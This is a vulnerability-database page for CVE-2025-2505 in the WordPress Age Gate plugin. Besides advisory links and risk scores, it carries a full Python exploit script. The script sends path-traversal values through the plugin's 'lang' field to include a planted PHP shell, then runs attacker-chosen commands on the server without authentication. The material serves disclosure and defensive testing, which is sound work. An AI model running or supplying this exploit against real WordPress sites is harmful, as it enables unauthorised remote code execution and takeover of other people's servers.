Lucene search
+L

📄 WordPress Age Gate 3.5.2 Unauthenticated LFI / Remote Code Execution

🗓️ 21 Jul 2026 00:00:00Reported by Alejandro RamosType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 19 Views

Unauthenticated local file inclusion in WordPress Age Gate 3.5.2 enables remote code execution (CVE-2025-2505).

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-2505
20 Mar 202508:40
circl
CNNVD
WordPress plugin Age Gate 路径遍历漏洞
20 Mar 202500:00
cnnvd
CVE
CVE-2025-2505
20 Mar 202507:29
cve
Cvelist
CVE-2025-2505 Age Gate <= 3.5.3 - Unauthenticated Local PHP File Inclusion via 'lang'
20 Mar 202507:29
cvelist
EUVD
EUVD-2025-6740
3 Oct 202520:07
euvd
NVD
CVE-2025-2505
20 Mar 202508:15
nvd
Patchstack
WordPress Age Gate plugin <= 3.5.3 - Unauthenticated Local PHP File Inclusion via 'lang' vulnerability
19 Mar 202519:49
patchstack
Positive Technologies
PT-2025-12016
20 Mar 202500:00
ptsecurity
RedhatCVE
CVE-2025-2505
22 Mar 202508:08
redhatcve
VulnCheck KEV
VulnCheck KEV: CVE-2025-2505
19 Mar 202500:00
vulncheck_kev
Rows per page
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Age Gate <= 3.5.2 - Unauthenticated Local File Inclusion to RCE
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/age-gate/
    # Software Link: https://downloads.wordpress.org/plugin/age-gate.3.5.2.zip
    # Version: 3.5.2 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-2505
    """CVE-2025-2505 — Age Gate <= 3.5.2 — Unauthenticated Local File Inclusion -> RCE
    
    Blackbox HTTP exploit against a real WordPress + Age Gate install.
    
    Root cause: the age-check endpoint reads `age_gate[lang]` from the request
    (`vendor/agegate/common/src/Settings.php`) with no sanitization, and the validator includes a
    language file built from it (`vendor/asylum/validation/src/Validator.php:754`):
    
        $lang_file = __DIR__.DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR.$this->lang.'.php';
        $messages  = include $lang_file;
    
    `.php` is appended, so this is a PHP Local File Inclusion: a path-traversal `lang` value that
    points at an attacker-controlled `.php` on disk gets included and executed. Reachable
    unauthenticated via `wp_ajax_nopriv_ag_check` (src/Legacy/Check.php:20) or the REST route
    `/wp-json/age-gate/v3/check` (`permission_callback => '__return_true'`). The include is on the
    validation-error path, so we deliberately omit the age fields to force it.
    
    PRIOR STATE (see setup_state.sh): an attacker-controlled `.php` must exist on disk — e.g. an
    image/avatar/media upload, a poisoned file, or any write primitive. This PoC uses
    `wp-content/uploads/agshell.php` planted as prior state.
    
    Usage:
      ./setup_state.sh                       # plant the attacker .php in uploads (prior state)
      python3 CVE-2025-2505_age-gate.py --target http://localhost:8090 --shell-relpath wp-content/uploads/agshell --cmd 'id'
    """
    import argparse, sys
    import requests
    requests.packages.urllib3.disable_warnings()
    
    def try_lfi(base, depth, shell_relpath, cmd):
        trav = "../" * depth + shell_relpath
        url = base.rstrip("/") + "/wp-admin/admin-ajax.php"
        r = requests.post(url, params={"c": cmd},
                          data={"action": "ag_check", "age_gate[lang]": trav},
                          timeout=20, verify=False)
        return r.text
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--shell-relpath", default="wp-content/uploads/agshell",
                        help="path of the planted .php WITHOUT the .php suffix (the plugin appends it)")
        ap.add_argument("--cmd", default="id")
        ap.add_argument("--marker", default="AGELFI_PWNED_2505")
        args = ap.parse_args()
        print(f"[*] Target: {args.target}")
        print(f"[*] LFI via age_gate[lang] traversal -> {args.shell_relpath}.php  (cmd: {args.cmd})")
        # the traversal depth from the validator's lang/ dir varies; sweep a small range
        for depth in range(6, 12):
            body = try_lfi(args.target, depth, args.shell_relpath, args.cmd)
            if args.marker in body:
                out = body.split(args.marker, 1)[1].split("<p>")[0].strip(": \n")
                print(f"\n[+] RCE CONFIRMED (LFI include of attacker .php, unauthenticated). depth={depth}")
                print(f"[+] `{args.cmd}` output:\n{'-'*50}\n{out}\n{'-'*50}")
                return 0
            print(f"    depth={depth} -> no marker")
        print("\n[-] Not confirmed. Ensure the .php is planted (run setup_state.sh) and path is correct.")
        return 1
    
    if __name__ == "__main__":
        sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2026 00:00Current
9.2High risk
Vulners AI Score9.2
CVSS 3.19.8
EPSS0.01229
SSVC
19